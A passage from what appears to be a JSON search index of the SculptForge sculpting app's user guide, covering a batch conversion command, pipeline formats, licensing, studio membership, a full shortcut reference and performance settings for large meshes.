farm job turns incoming scans into game-ready assets: sculptforge-cli --set in=/ingest/scan_042.ply --set usd=/assets/scan_042.usda --set glb=/assets/scan_042.glb -c ' open path=$in splat_transform rotate_x=180 fit=true splat_clean splat_to_mesh detail=320 preset=game color=texture export_usd path=$usd export_lods path=$glb levels=4 ratio=0.5 ' A --set variable replaces a whole value, so pass complete paths (with their extensions) as variables."},{"p":"studios.html","c":"SculptForge for studios","a":"formats-in-a-pipeline","h":"Formats in a pipeline","t":"Format Read Write Notes OpenUSD (.usda, .usdz) Yes Yes Meshes, xform ops, Z-up stages, UsdSkel blend shapes, ParticleField Gaussian splats, textures; checked with OpenUSD's validators FBX Yes (any version) Yes (7.4 binary) LOD groups, blend shapes, centimetre units, textures; checked with ufbx's strict mode glTF / GLB Yes Yes Morph targets, vertex colours, KHR_gaussian_splatting, embedded textures; checked with the Khronos validator OBJ Yes Yes Objects as Parts, groups as face groups, vertex colours, textures through .mtl PLY Yes Yes Meshes with vertex colours, Gaussian splats STL Yes (binary and ASCII) Yes (binary) Bridge Yes Yes Face Groups, mask, vertex paint, UVs SculptForge project (.sfproj) Yes Yes Everything; a documented ZIP of JSON and binary arrays Binary .usdc files and USD references or payloads aren't read yet; convert with usdcat in.usd -o out.usda. The project format is described in docs/project-format.md in the source tree, so pipeline tools can read it without SculptForge."},{"p":"studios.html","c":"SculptForge for studios","a":"licensing","h":"Licensing","t":"SculptForge is free software under the GNU General Public License, version 3 or later. In practice: Using it is unrestricted, commercially or otherwise, on any number of machines. There are no seats, licence servers or accounts. Your artwork belongs to you. The GPL covers the program, not the models you make with it. You can modify it in-house. The GPL only requires you to share source if you distribute the modified program outside your organisation. Internal use, including across your own facilities and farm, is generally not considered distribution. (This is the common reading of the GPL, not legal advice; check with your counsel.) SculptForge has no telemetry and no servers of its own. AI features are optional and talk only to the service each artist chooses, or to your own ComfyUI server."},{"p":"studios.html","c":"SculptForge for studios","a":"studio-membership","h":"Studio membership","t":"SculptForge is free for any number of artists, and nothing in the app is ever paywalled. A Studio membership ($300 a month; Founding Studio: the first 10 studios lock in $150 a month for as long as they stay subscribed) covers your whole company, with no seat count: Insider for every artist: the monthly pack, daily drops (a brush, alpha or VDM almost every day), the feature vote and the monthly dev Q&A. Insiders will get each release about two weeks early, starting with SculptForge 1.0. A custom studio build with your presets, keymaps, packs, shelves and pipeline defaults baked in. Custom content: brushes, alphas, VDMs, macros and pipeline presets made for your team. Guided development: your requests go to the front of the roadmap, with a monthly call or async review with the developer. Priority triage: reviewed within 2 business days (no fix-time guarantee). A private team channel on Discord, and your logo on the website and in the README. Every release stays free for everyone; bug-fix and security releases go out to everyone the same day. Larger custom features are quoted separately. Join at sculptforge.app/studios.html."},{"p":"studios.html","c":"SculptForge for studios","a":"studio-onboarding","h":"Studio onboarding","t":"After checkout, email [email protected] from a studio address with the GitHub usernames that should get the private repository (as many artists as you like) and who should join the team channel."},{"p":"studios.html","c":"SculptForge for studios","a":"custom-content","h":"Custom content","t":"Studios can ask for their own content, made to order: Brushes tuned to your style. Alphas and VDMs made from your own references or scans (only material you own). Macros and one-click workflows. Pipeline presets: export settings, naming, scale, axis, texture packing and Bridge setup. Keymaps and layouts. All of it is baked into your custom studio build. Up to 5 custom items a month (brushes, alphas, macros or presets); larger features are quoted separately. Your assets stay private to your studio and are never used for anything else."},{"p":"studios.html","c":"SculptForge for studios","a":"requesting-a-custom-build","h":"Requesting a custom build","t":"Send, in one email or a message in your team channel: What to bake in: your exported keymap and layout (Edit > Preferences > Interface), brush presets and packs (.sfbrush, .sfpack), shelf setup, and the pipeline defaults you want. References for custom content: images or scans you own, with a line on what each item should do. Where it runs: platforms and, for Linux, the distribution or VFX Reference Platform year. Files are treated as data only: scripts and executables you send are never run. Your build is published as a release in the private repository, built by the same pipeline and tests as public builds, with its source (it is GPL like every SculptForge build). Each new release brings an updated studio build."},{"p":"studios.html","c":"SculptForge for studios","a":"guided-development","h":"Guided development","t":"Tell us what your team needs most, in the team channel or on the monthly call (or an async review, if a call doesn't suit your time zone). Studio requests go to the front of the roadmap: each month we agree what comes next, and you see it in preview builds about a week before the release. Requests that are bigger than a normal release's work are quoted separately before anything starts."},{"p":"studios.html","c":"SculptForge for studios","a":"not-yet","h":"Not yet","t":"Planned pipeline features, roughly in order: OpenColorIO viewport display, Alembic export, fuller USD authoring (layers, variants, references, .usdc), UVs and texture baking, multiresolution sculpting. Pipeline requests are welcome as issues on the project's GitHub page."},{"p":"studios.html","c":"SculptForge for studios","a":"see-also","h":"See also","t":"Scripting and automation Exporting, Unreal and Bridge Brush Lab and sharing brushes Image and text to 3D: running models on your own ComfyUI server Troubleshooting"},{"p":"shortcuts.html","c":"Keyboard and mouse","a":"","h":"Keyboard and mouse","t":"This chapter is the reference for every default keyboard shortcut and mouse gesture in SculptForge. Inside the app, F1 opens the same list as the Controls window, showing your own keys if you've changed any. SculptForge has four key styles, chosen in Edit > Preferences > Input > Style (and by the Coming from question the first time SculptForge starts): SculptForge (the default for new installs), Classic, Blender and Maya. The main table shows the SculptForge style; the sections after it list what the classic and Blender styles change. If you used an earlier version, your saved style is kept."},{"p":"shortcuts.html","c":"Keyboard and mouse","a":"changing-shortcuts","h":"Changing shortcuts","t":"Every key below can be reassigned: hold Ctrl+Alt and click a button, then press the new key, or use Edit > Preferences > Hotkeys. Press Ctrl+Shift+I (Store Config) to keep your changes. See Customizing the interface. On macOS, Cmd works wherever a shortcut says Ctrl. Single-letter shortcuts don't fire while you type in a text field."},{"p":"shortcuts.html","c":"Keyboard and mouse","a":"keyboard-shortcuts","h":"Keyboard shortcuts","t":"The table lists the default shortcut of every action in the SculptForge style, grouped by palette. It is generated from SculptForge's action registry, the same source as the Controls window."},{"p":"shortcuts.html","c":"Keyboard and mouse","a":"brush","h":"Brush","t":"Action Keys What it does Brush picker B Pop up every brush under the cursor. Type the first letter of a brush, then the orange letter on its tile (B S T = Standard). Capture from view Ctrl+Alt+C Alpha and VDM from the viewport: drag a square over any sculpted detail (Shift for a circle) and capture it as a grayscale height alpha and as a vector displacement brush, ready to stamp with the VDM brush or along strokes with Detail Clone, and to save in your library. Clay 2 Builds up clay that fills the hollows first. Clay Block 0 Square, flat-topped clay strokes for blocking in forms. Crease 6 Cuts a sharp crease; Alt raises a ridge. Flatten 7 Presses the surface toward a plane. Inflate 5 Swells the surface outward along its normals. Move 4 Grabs the surface under the cursor and pulls it along. Paste brush Ctrl+V Add the brush on the clipboard: a brush code someone shared, or the text of a .sfbrush file. Pinch 8 Pulls the surface toward the stroke to tighten edges. Sharp Crease 9 A sharp V-shaped crease with the sides pinched in. Smooth 3 Relaxes the surface. Hold Shift to smooth with any brush. Standard 1 Raises the surface along the stroke; Alt digs in."},{"p":"shortcuts.html","c":"Keyboard and mouse","a":"color","h":"Color","t":"Action Keys What it does Pick colour C Take the paint colour from the model under the cursor. Switch Color V Swap the main and the secondary colour."},{"p":"shortcuts.html","c":"Keyboard and mouse","a":"draw","h":"Draw","t":"Action Keys What it does Draw Size at cursor S A Draw Size slider under the cursor: drag it, or type a number and press Enter. Falloff at cursor O A Falloff slider under the cursor: below 0 a broad, hard brush tip, above 0 a soft point (-100..100). The inner ring of the brush cursor shows it. Intensity at cursor U or I A Intensity slider under the cursor: drag it, or type a number (1-100) and press Enter. Hold Shift (or pick Smooth) to set Smooth's own Intensity. Larger brush ] Make the brush 10% larger (hold to repeat; Shift+] steps one pixel). Larger brush by 1 px Shift+] Make the brush one pixel larger (half a pixel below 2 px). Paint P Paint colour without sculpting. Alt paints back to white, Shift still smooths. Smaller brush [ Make the brush 10% smaller (hold to repeat; Shift+[ steps one pixel). Smaller brush by 1 px Shift+[ Make the brush one pixel smaller (half a pixel below 2 px), down to 0.5 px."},{"p":"shortcuts.html","c":"Keyboard and mouse","a":"edit","h":"Edit","t":"Action Keys What it does Redo Ctrl+Shift+Z or Ctrl+Y Redo the last undone action. Undo Ctrl+Z Undo the last action."},{"p":"shortcuts.html","c":"Keyboard and mouse","a":"file","h":"File","t":"Action Keys What it does Export GLB... Ctrl+E Export the model as glTF binary, with sculpt layers as blend shapes (morph targets). New Sphere Ctrl+N Replace the scene with a new sphere ready for sculpting. Open... Ctrl+O Open a project (.sfproj), a model (.obj, .glb, .fbx, .stl, .ply, .usd ...) or splats. Quit Ctrl+Q Close SculptForge (asks to save changes first). Save Ctrl+S Save the project (.sfproj: every Part, layer, brush and setting). Asks for a name the first time. Save As... Ctrl+Shift+S Save the project under a new name. Send to Unreal Ctrl+U Export a game-ready FBX and import it into the running Unreal Editor (Python remote execution)."},{"p":"shortcuts.html","c":"Keyboard and mouse","a":"help","h":"Help","t":"Action Keys What it does Command palette F3 or Ctrl+Shift+P Search every command, brush and setting by name and run it. Commands that need parameters open in the console. Controls F1 Every shortcut and mouse gesture, generated from the commands themselves. Quick Menu Space The Quick Menu under the cursor: brush, stroke, alpha, material, colour, Draw Size, Falloff and the intensities. Hold Space and let go to close it, or tap Space to keep it open. User Guide Shift+F1 The SculptForge user guide: every tool explained, with search. Hold Ctrl over a control and press F1 to open the chapter about it."},{"p":"shortcuts.html","c":"Keyboard and mouse","a":"library","h":"Library","t":"Action Keys What it does Library , Show or hide the Library: thumbnails of your projects, models, brushes, alphas, materials, images, splats and Snapshots along the top of the canvas. Double-click to load."},{"p":"shortcuts.html","c":"Keyboard and mouse","a":"material","h":"Material","t":"Action Keys What it does Material picker M Pop up the materials under the cursor. Hover one to preview it on the model; click to keep it."},{"p":"shortcuts.html","c":"Keyboard and mouse","a":"preferences","h":"Preferences","t":"Action Keys What it does Load UI... Ctrl+L Load a layout file someone shared (or you saved with Save UI). Radial menu 1: Brushes T Hold the key, flick toward an item and let go to run it; or tap the key and click one. Edit it in Preferences > Input > Radial Menus. Radial menu 2: Masking Y Hold the key, flick toward an item and let go to run it; or tap the key and click one. Edit it in Preferences > Input > Radial Menus. Radial menu 3: Strokes J Hold the key, flick toward an item and let go to run it; or tap the key and click one. Edit it in Preferences > Input > Radial Menus. Save UI... Ctrl+Alt+Shift+I Save the layout, shortcuts and interface preferences to a file you can share. Shelves Tab Hide or show the shelves and trays around the canvas. Store Config Ctrl+Shift+I Keep the current layout, shortcuts and interface preferences for future sessions. SculptForge never saves them on its own."},{"p":"shortcuts.html","c":"Keyboard and mouse","a":"render","h":"Render","t":"Action Keys What it does Fullscreen F11 Fill the screen with SculptForge (again: back to a window). Mask Ctrl+H Show or hide the mask (masked areas drawn darker). Hiding it keeps the mask: masked areas stay protected from brushes until you clear it. Wireframe Shift+F Show the mesh's polygons (quads and triangles) over the surface."},{"p":"shortcuts.html","c":"Keyboard and mouse","a":"script","h":"Script","t":"Action Keys What it does Console ` The script console: every command you run appears as a script line, and you can type commands yourself."},{"p":"shortcuts.html","c":"Keyboard and mouse","a":"stroke","h":"Stroke","t":"Action Keys What it does Steady Stroke L Steady Stroke on or off, with every stroke type (Dots, Drag Stamp, Slide Stamp, Spray): the brush trails the cursor on a string and only moves once the string is taut, for steady lines without hand shake. Stroke popup G A grid at the cursor with the stroke types, the modifiers (Add / Sub, Smooth, Mask, Select) and the mask and Cut shapes. Hold the key, point at one and let go; or tap the key and click. Smooth, Mask, Select and the shapes stay on without holding Shift or Ctrl, until you pick them again or another brush."},{"p":"shortcuts.html","c":"Keyboard and mouse","a":"tool","h":"Tool","t":"Action Keys What it does Clear Mask Ctrl+Shift+A Unmask everything (also: Ctrl+drag on the background, away from the model). Divide Ctrl+D Add a subdivision level: four times the polygons, and the lower levels are kept, so you can step down to shape big forms and back up to the detail. Quads stay quads (Catmull-Clark). Smt off divides without smoothing. Duplicate Part Ctrl+Shift+D Copy the active Part, with its layers and attributes, and make the copy active (also in the Parts list's right-click menu). Group Masked Ctrl+W Turn the masked part into a new face group and clear the mask. With nothing masked, everything visible becomes one group. Higher Res D Step one subdivision level up (more polygons, for detail). Edits made below carry the detail along. Invert Mask Ctrl+I Mask what is unmasked and unmask what is masked (also: Ctrl+click the background). Lower Res Shift+D Step one subdivision level down (fewer polygons, for big forms). The detail of the higher levels is kept. Mask All Ctrl+A Mask the whole visible Part. Preview A Show the skin Make Mesh would build instead of the spheres. Turn it off to edit the spheres again."},{"p":"shortcuts.html","c":"Keyboard and mouse","a":"transform","h":"Transform","t":"Action Keys What it does Back view Ctrl+Numpad 1 Look at the model from behind (orthographic). Bottom view Ctrl+Numpad 7 Look up at the model from below (orthographic). Draw Q Draw mode: brushes sculpt and paint (leaves the Gizmo). Frame F Fit the whole model in the view. Frame Part Numpad . Fit the active Part in the view (Blender: View Selected). Front view Numpad 1 Look at the model from the front (orthographic). Left view Ctrl+Numpad 3 Look at the model's left side (orthographic). Move W Gizmo, Move: drag an arrow to move along an axis, a square to move in a plane, the centre to move in the view. Masked parts stay; Shift snaps to the grid; Alt+drag moves only the gizmo. W again: back to Draw. Opposite side Numpad 9 Look at the model from the other side. Orbit down Numpad 2 Turn the view 15 degrees down under the model. Orbit left Numpad 4 Turn the view 15 degrees to the left around the model. Orbit right Numpad 6 Turn the view 15 degrees to the right around the model. Orbit up Numpad 8 Turn the view 15 degrees up over the model. Orthographic Numpad 5 Switch between a perspective and an orthographic view (no foreshortening: sizes don't shrink with depth). Right view Numpad 3 Look at the model's right side (orthographic). Rotate R Gizmo, Rotate: drag a ring to turn about that axis, the outer ring to turn in the view. Mask the body and put the pivot at a joint to pose a limb. Shift snaps to 15 degrees. R again: back to Draw. Scale E Gizmo, Scale: drag a box to stretch along an axis or the centre to scale evenly (right or up: bigger). Shift snaps to 10% steps. E again: back to Draw. Top view Numpad 7 Look down on the model (orthographic). X X Mirror strokes across X (left and right). Zoom in Numpad Plus Move the view closer. Zoom out Numpad Minus Move the view back."},{"p":"shortcuts.html","c":"Keyboard and mouse","a":"uv-editor","h":"UV Editor","t":"Action Keys What it does UV Editor Alt+U Open the UV Editor: the Part's UV layout in 2D over the UDIM tiles. Select vertices, edges, faces or islands (here or on the model), move, rotate and scale them, mark seams, unwrap, pack, set texel density and lay islands into trim sheet strips. Stretch and texel density show live on the model while you edit."},{"p":"shortcuts.html","c":"Keyboard and mouse","a":"view","h":"View","t":"Action Keys What it does Lock camera Shift+L Lock the camera for left-drags: a drag that starts on the background sculpts once it reaches the model instead of turning the view (Preferences > Input > Start strokes off the model, #62). The status bar shows CAMERA LOCKED while it is on. Right-drag or Alt+drag still move the view. Shift+L turns it on and off."},{"p":"shortcuts.html","c":"Keyboard and mouse","a":"mouse-and-pen-gestures","h":"Mouse and pen gestures","t":"Action Gesture Sculpt Left-drag on the model Sculpt from beside the model Turn on Edit > Preferences > Input > Start strokes off the model (or press Shift+L), then left-drag from the background onto the model; the view then turns with a right-drag (see Navigation) Invert the brush (subtract) Hold Alt while sculpting Smooth Hold Shift while sculpting (works with any brush, and with Paint) Straight line Press Shift after a stroke has started (45 degree steps) Roll the view Shift+click the background, let go of Shift, drag Rotate Left-drag on the background, or right-drag; hold Shift to snap to an axis view Pan Alt+left-drag on the background, Alt+right-drag, or middle-drag Zoom Mouse wheel; Alt+drag on the background then release Alt; Ctrl+right-drag; Ctrl+middle-drag; Ctrl+left-drag on the background when nothing is masked (not in the classic) Paint the mask Hold Ctrl while stroking on the model Erase the mask Hold Ctrl+Alt while stroking on the model Blur / sharpen the mask Ctrl+click / Ctrl+Alt+click the model Invert the mask Ctrl+click the background Clear the mask Ctrl+drag on the background with something masked (with Mask Pen), or Ctrl+Shift+A Mask inside a lasso or rectangle Ctrl+drag with Mask Lasso or Mask Rectangle picked in Tool > Masking (add Alt: unmask) Isolate a face group Ctrl+Shift+click it (again: invert the visibility; with something hidden already: hide it) Hide a face group Ctrl+Shift+Alt+click it Show everything Ctrl+Shift+click the background Hide outside a rectangle or lasso Ctrl+Shift+drag (add Alt: hide inside); Select Rectangle or Select Lasso in Tool > Visibility Select a Part Alt+click it in the view (Shift+Alt+click, or a triple-click on another Part: select and frame it) Move, scale or rotate with the Gizmo W, E or R, then drag a handle; hold Shift to snap (15 degrees, the grid, 10%) Move the gizmo only Alt+drag a gizmo handle Put the gizmo's pivot on the model Alt+click the model in Move, Scale or Rotate mode Pan, zoom or orbit with a button Drag on Move, Zoom or Rotate on the right shelf Help on any control Hold Ctrl and point at it (Ctrl+Alt: scripting parameters) Assign a shortcut Ctrl+Alt+click any button, then press the key Move or remove shelf items Ctrl+Alt+drag (with Enable Customize on) Tablet pressure Used automatically when a pen is detected (Pressure > Strength / Pressure > Size) Open files Drop a model (.obj, .glb ...), project, brush (.sfbrush), splat capture or image onto the window"},{"p":"shortcuts.html","c":"Keyboard and mouse","a":"keys-inside-pop-ups-and-panels","h":"Keys inside pop-ups and panels","t":"Some keys only mean something while a pop-up or panel has the keyboard."},{"p":"shortcuts.html","c":"Keyboard and mouse","a":"brush-picker-b","h":"Brush picker (B)","t":"Key Action A letter Keep the brushes whose names start with the letters typed so far The highlighted letter on a tile Pick that brush (B S T = Standard) Backspace Take back one letter Enter Pick the first match Esc Close"},{"p":"shortcuts.html","c":"Keyboard and mouse","a":"sliders-at-the-cursor-s-u-i-o","h":"Sliders at the cursor (S, U, I, O)","t":"Key Action Digits and . Type a value Enter Apply the typed value and close Esc Close without applying a typed value"},{"p":"shortcuts.html","c":"Keyboard and mouse","a":"command-palette-f3","h":"Command palette (F3)","t":"Key Action Up / Down, Page Up / Page Down Choose a row Enter Run it Shift+Enter Open a command with parameters in the console to edit them Esc Close"},{"p":"shortcuts.html","c":"Keyboard and mouse","a":"console-","h":"Console (`)","t":"Key Action Enter Run the line (statements separated by ;) Tab Complete a command or parameter name; press again to list the candidates Up / Down Walk through earlier lines (the last 200 are remembered between sessions)"},{"p":"shortcuts.html","c":"Keyboard and mouse","a":"shortcut-capture-ctrlaltclick","h":"Shortcut capture (Ctrl+Alt+click)","t":"Key Action Any key or chord Becomes the new shortcut (taken from another action if it had it) Backspace or Delete Remove the shortcut Esc Cancel"},{"p":"shortcuts.html","c":"Keyboard and mouse","a":"classic-sculpting-keys","h":"Classic sculpting keys","t":"With Edit > Preferences > Input > Style on Classic, the keys and gestures work. Store Config (Ctrl+Shift+I) keeps the choice. Compared with the table above, these change: To SculptForge style classic Pick one of the first ten brushes 1 to 9, 0 (Standard, Clay, Smooth, Move ...) No key: the number keys are free Save Snapshot No key 9 Slider at the cursor on I Intensity (as U) RGB Intensity Ctrl+drag on the background with nothing masked Zooms Draws a mask rectangle (one that misses the model clears the mask) Zoom drags (Ctrl+right-drag, Alt+drag then release) Up zooms in Up zooms out Everything else, from the B brush letters and S / U / O to the Ctrl and Ctrl+Shift gestures, is the same in both styles. The Maya style keeps these the Classic sculpting keys and changes only the view controls (Alt+left, middle and right drags)."},{"p":"shortcuts.html","c":"Keyboard and mouse","a":"maya-keys","h":"Maya keys","t":"With Edit > Preferences > Input > Style on Maya (#32), the view works as in Maya, on the model or beside it, as long as Alt is the only key held: To Maya style Rotate Alt+left-drag Pan Alt+middle-drag Zoom Alt+right-drag sideways: right zooms in, left zooms out, as Maya's own dolly Invert the brush (subtract) Hold Ctrl while sculpting Paint a mask / erase it Ctrl+Alt+drag / Ctrl+Alt+Shift+drag Smooth Hold Shift while sculpting Visibility gestures Ctrl+Shift, as in the other styles Maya's default dolly follows a sideways drag, so that is the default here too. Edit > Preferences > Input > Zoom drag switches it to Up and down (drag up to zoom in) if you set Maya up that way. Invert zoom, in every style, turns zoom drags around (the mouse wheel stays as it is)."},{"p":"shortcuts.html","c":"Keyboard and mouse","a":"blender-keys","h":"Blender keys","t":"With Edit > Preferences > Input > Style on Blender (also at the top of the Controls window, F1), the view and the sculpt keys work as in Blender 4.2 and later, Sculpt Mode (with 5.1's Alt mask). Compared with the table above, these change in the Blender style: To Blender style Rotate Middle-drag, or Alt+left-drag beside the model (everywhere with Edit > Preferences > Input > Emulate 3 Button Mouse, for pens and trackpads), or left-drag beside the model Pan Shift+middle-drag, or Alt+Shift+left-drag Zoom Mouse wheel, Ctrl+middle-drag (up: closer), Alt+Ctrl+left-drag, Numpad Plus / Numpad Minus Invert the brush (subtract) Hold Ctrl while sculpting Mask / unmask Alt+drag / Ctrl+Alt+drag on the model (Blender 5.1 and later), or the Mask brush (M) Smooth Hold Shift while sculpting Front, right, top view Numpad 1, Numpad 3, Numpad 7; with Ctrl: back, left, bottom Orthographic on or off Numpad 5 (the axis views turn it on until you rotate again) Orbit in 15 degree steps, the other side Numpad 4 Numpad 6 Numpad 8 Numpad 2, Numpad 9 Frame the active Part / everything Numpad . / Home Brush radius / strength F / Shift+F (drag, or type a number) Draw, Smooth, Pinch, Inflate, Grab (Move) V, S, P, I, G Clay Strips (Clay Block), Crease, Tendril, Scrape (Flatten) C, Shift+C, K, Shift+T Mask brush M, then drag to mask and Ctrl+drag to unmask; M again goes back to your brush Clear / invert the mask Alt+M / Ctrl+I Hide the face group under the cursor H; Shift+H shows only it (again: everything); Alt+H shows everything Lower / higher subdivision level Alt+1 / Alt+2 (Shift+D / D still work) Swap colours / sample colour X / Shift+X Smooth stroke (Lazy Stroke) Shift+S (or L) Wireframe Shift+Z Choosing the Blender style also sets Rotation to Turntable, as Blender orbits; change it back under Edit > Preferences > Input if you like. Blender's face sets are SculptForge's face groups, and its brushes map to the nearest SculptForge brush. Symmetry X, Paint and the material picker have no key in the Blender style (they are on the shelves); give them one with Ctrl+Alt+click. Laptops without a numpad: turn on Edit > Preferences > Input > Emulate Numpad and the number row works as the numpad. The numpad views (Numpad 1, 3, 7, 5 ...) work in every style."},{"p":"shortcuts.html","c":"Keyboard and mouse","a":"your-own-blender-keymap","h":"Your own Blender keymap","t":"If you changed Blender's keys, export them in Blender (Edit > Preferences > Keymap, the Export... button next to the keymap name) and in SculptForge choose Import Blender keymap... under Edit > Preferences > Input or at the top of the Controls window. SculptForge switches to the Blender style and takes, from the file's 3D View and Sculpt keymaps, the keys of every action it has an equivalent for: the views, the brushes above, the radius and strength, the mask, hiding, subdivision levels, undo and redo. Mouse buttons and keys for things SculptForge doesn't have are left alone; the status bar says how many keys it took. The file is read as text and never run. Ctrl+Shift+I (Store Config) keeps the keys; Restore Standard UI goes back to the defaults."},{"p":"shortcuts.html","c":"Keyboard and mouse","a":"classic-sculpting-keys-that-work-differently","h":"Classic sculpting keys that work differently","t":"Most classic sculpting keys and gestures work in SculptForge with the Classic sculpting keys. The few that differ even then, because the feature works differently or doesn't exist yet: Classic key SculptForge P (perspective) P is the Paint brush; Numpad 5 switches to an orthographic view T (Edit mode) Always in Edit mode: there is no 2.5D canvas W / E / R (Transpose line) The Gizmo (see Gizmo) 1, 2, 3 (replay and record strokes) Not yet N (list the Parts) Tool > Parts in the right tray F1 to F6 (pop-ups) F1 is the Controls window, F3 the command palette; B, M and the left-shelf tiles pop up brushes, strokes, alphas and materials Ctrl+E (edge loop), Ctrl+U (reload script) Export GLB and Send to Unreal H (hide the script window) ` toggles the console See Quick tour for experienced sculptors for the whole list."},{"p":"shortcuts.html","c":"Keyboard and mouse","a":"see-also","h":"See also","t":"The interface Navigating the view Masking Face Groups and visibility"},{"p":"performance.html","c":"Performance and big meshes","a":"","h":"Performance and big meshes","t":"SculptForge is built to sculpt tens of millions of polygons. Brushes, normal updates and the picking structure run on every core of your processor, a stroke sends the graphics card only the part of the mesh it changed, and undo stores only the vertices a stroke touched, so it stays quick however big the model is. This chapter explains what to expect, the settings in Edit > Preferences > Performance, and how to get the most out of a big sculpt. Edit > Preferences > Performance after a stroke: antialiasing, Fast Navigation, multithreading, what the stroke cost per dab, and memory"},{"p":"performance.html","c":"Performance and big meshes","a":"what-to-expect","h":"What to expect","t":"On a 2021 laptop (Apple M1 Pro, 10 cores, integrated GPU), with X symmetry on and a medium Draw Size: Mesh One dab of a medium brush Turning the view 4 million triangles about 2 ms about 350 frames a second 16 million triangles about 4.5 ms about 170 frames a second 33 million triangles about 7.5 ms about 110 (4x antialiasing), 270 with Fast Navigation Turning the view stays smooth at 100 million triangles: about 50 frames a second with 4x antialiasing, 100 with Fast Navigation. These figures are for closed models (no holes); see \"Closed meshes draw faster\" below. A dab is one step of the brush along the stroke; the app draws several per frame when you move fast. Under 16 ms per dab a stroke keeps up with a 60 Hz display. Very large brushes cost more, since they move more vertices: a brush covering a tenth of a 33 million triangle sphere (about a million vertices per dab with symmetry) takes about 45 ms per dab with Standard, 21 ms with Smooth and 15 ms with Move, of which sending the change to the graphics card is about a third. Performance figures has the full measurements, and how to run the same benchmark on your own machine."},{"p":"performance.html","c":"Performance and big meshes","a":"edit--preferences--performance","h":"Edit > Preferences > Performance","t":"Open Preferences and click Performance. Control What it does Antialiasing (Off, 2x, 4x, 8x) How many samples per pixel the 3D view uses to smooth edges. 4x is the default. More samples look smoother and cost more on huge meshes. If the graphics card can't make room for them, the view quietly uses fewer and the panel says so View resolution (100%, 75%, 50%) Draws the 3D view at a share of the window's resolution and scales it up: 75% draws about half the pixels and 50% a quarter. Try it on slow or integrated graphics and big screens. Save Render always renders at full resolution. Also in View Fast Navigation While you rotate, pan or zoom a scene bigger than the hardware profile's motion proxy threshold (see below), draw it without antialiasing and draw big meshes as a lighter version with about a fifth of their triangles, so the view keeps up. The full mesh, smooth again, is back as soon as the view stops. On by default Predictive Strokes The brush is worked out on its own thread while the view keeps drawing at full speed. The dabs it hasn't finished show at once as a preview on the surface, and the brush cursor and the stroke's head are drawn where the pen is about to be, so on a heavy mesh the surface moves under the pen straight away and lifting the pen never waits. The finished sculpt is exactly the same as with it off. On by default (painting, masking, dynamic topology, Move, Tendril and the drag strokes work as before) Draft Strokes With Predictive Strokes: while you sculpt, the brush only moves the surface, the moved part is shaded from its facets, and the smooth shading, the cavities and the rest are worked out once when you lift the pen. Lighter on laptops and on battery. Inflate and the plane brushes use the surface's direction from the stroke's start, so the result can differ slightly from a full stroke. Off by default Live Move (experimental) The Move brush's drag is drawn by the graphics card from where the surface started, so it follows the pen at the view's frame rate on any mesh size; the move is applied once, exactly, when you lift the pen. Not with masks, hidden parts, sculpt layers, micro levels, Connected Only or View falloff (Move works as before there). Off by default Background Preview (experimental) On meshes of 2 million vertices or more a big brush is worked out on its own thread; with this on, the dabs still being worked out show as a preview under the pen. The finished sculpt is exactly the same either way. Off by default Fast Upload (experimental) While you sculpt, the changed part of the mesh goes to the graphics card through memory both can see and the card copies it into place, instead of the driver copying it during the frame. The sculpt and the view are exactly the same either way. Needs OpenGL 4.4 buffer storage (otherwise it does nothing). Off by default Multithreading Run brushes, normal and picking updates and project saving on every core (the number of threads is shown beside it). The results are exactly the same with it off; turn it off only to compare speeds or rule it out when something goes wrong Last stroke What your last stroke cost per dab: Brush (finding and moving the vertices), Normals (shading), BVH (the structure that finds the surface under the cursor), and the GPU upload per frame Memory What the scene holds: the meshes, the BVHs, the subdivision levels kept for stepping between them, the undo history (up to 1 GB; the oldest steps are dropped beyond that) and, roughly, the graphics card's buffers"},{"p":"performance.html","c":"Performance and big meshes","a":"the-hardware-profile","h":"The hardware profile","t":"The first time you start SculptForge, a small window says Getting to know this computer for a second or two: it checks how fast your graphics card draws and receives data, how fast a brush runs and how fast the memory is, and picks settings to match. It does this once, and again only when you change the graphics card, update its driver or install a new version. Press Esc or Skip to skip it; the settings then come from the type of graphics card and the memory sizes. Nothing is sent anywhere: the results stay in your settings folder. There are two main profiles and a safe mode: Profile For What changes Laptop / Budget laptops and most desktops: 8-32 GB of memory, a 2-8 GB graphics card, most Apple Silicon Macs a moderate number of triangles drawn while the view moves; brushes shade continuously on mains power Workstation 64 GB of memory or more, and a graphics card with 16 GB or more or an Apple Silicon Max / Ultra (or another chip whose graphics share the memory) that measures as fast more triangles drawn per frame, larger textures and subdivision limits, shading updated with every dab Software (safe mode) no graphics driver, so the drawing happens on the processor (llvmpipe) the lightest settings, no antialiasing On a laptop running on battery, whatever its profile, SculptForge sends less data to the graphics card per frame and aims for 60 frames a second, and the status bar says so; plugged in again, it goes back. At the top of Edit > Preferences > Performance: Control What it does Detected ... the graphics card, its memory and the profile, and why Measured numbers triangles drawn per second, upload speed, the cost of a brush dab, memory speed, the processor and the system Settings how many triangles the view draws per frame, from what size big scenes use their lighter version while moving, memory and upload budgets, texture and subdivision limits, threads, the target frame rate (60, or 120 / 144 on a fast display) Frame Governor while the view moves, watch how long frames take and draw big scenes' lighter version sooner or later to hold the target frame rate. It only changes what you see while moving, never the model. On by default Re-calibrate measure again (your overrides are kept) Manual overrides choose the profile yourself, or set any of the numbers (empty = automatic); Back to automatic clears them. Overrides are saved at once and kept when you re-calibrate From a shell, sculptforge --calibrate measures and prints the result as JSON. Like the other preferences, these last until you quit; Edit > Preferences > Config > Store Config keeps them. Every setting is also in the F3 command palette (type \"antialiasing\", \"fast navigation\" or \"multithreading\")."},{"p":"performance.html","c":"Performance and big meshes","a":"working-with-big-meshes","h":"Working with big meshes","t":"Sculpt at the lowest level that holds the detail. With subdivision levels you can shape the forms a few levels down and only go to the top for fine detail. Each level down is four times lighter. Hide what you're not working on. Hidden Parts aren't drawn and hidden parts of a Part aren't sculpted (Tool > Visibility). A hidden Part costs no drawing time at all. Memory. A divided model takes about 85 bytes per triangle: about 37 for the sculpting mesh, 17 for its BVH and 29 for its subdivision levels. A 33 million triangle sculpt with levels needs about 3.4 GB of memory, a 100 million one about 9 GB (and a little more while dividing). Opening a project needs only a little more than the model itself. A mesh without levels (an import, a remesh) takes about 60 bytes per triangle for the mesh. Project files over 4 GB are saved in the ZIP64 format. How far Divide goes depends on the memory: about 160 million triangles on a computer with 32 GB. The graphics card. A mesh needs about 15 bytes per triangle on the graphics card (vertex paint and a mask add about 3; the wireframe, while it is on, about 4; the lighter version Fast Navigation draws, once you move the view, about 1.5). If a Part doesn't fit, SculptForge doesn't draw it and says so in the status bar instead of failing: hide other Parts or step down a subdivision level. Closed 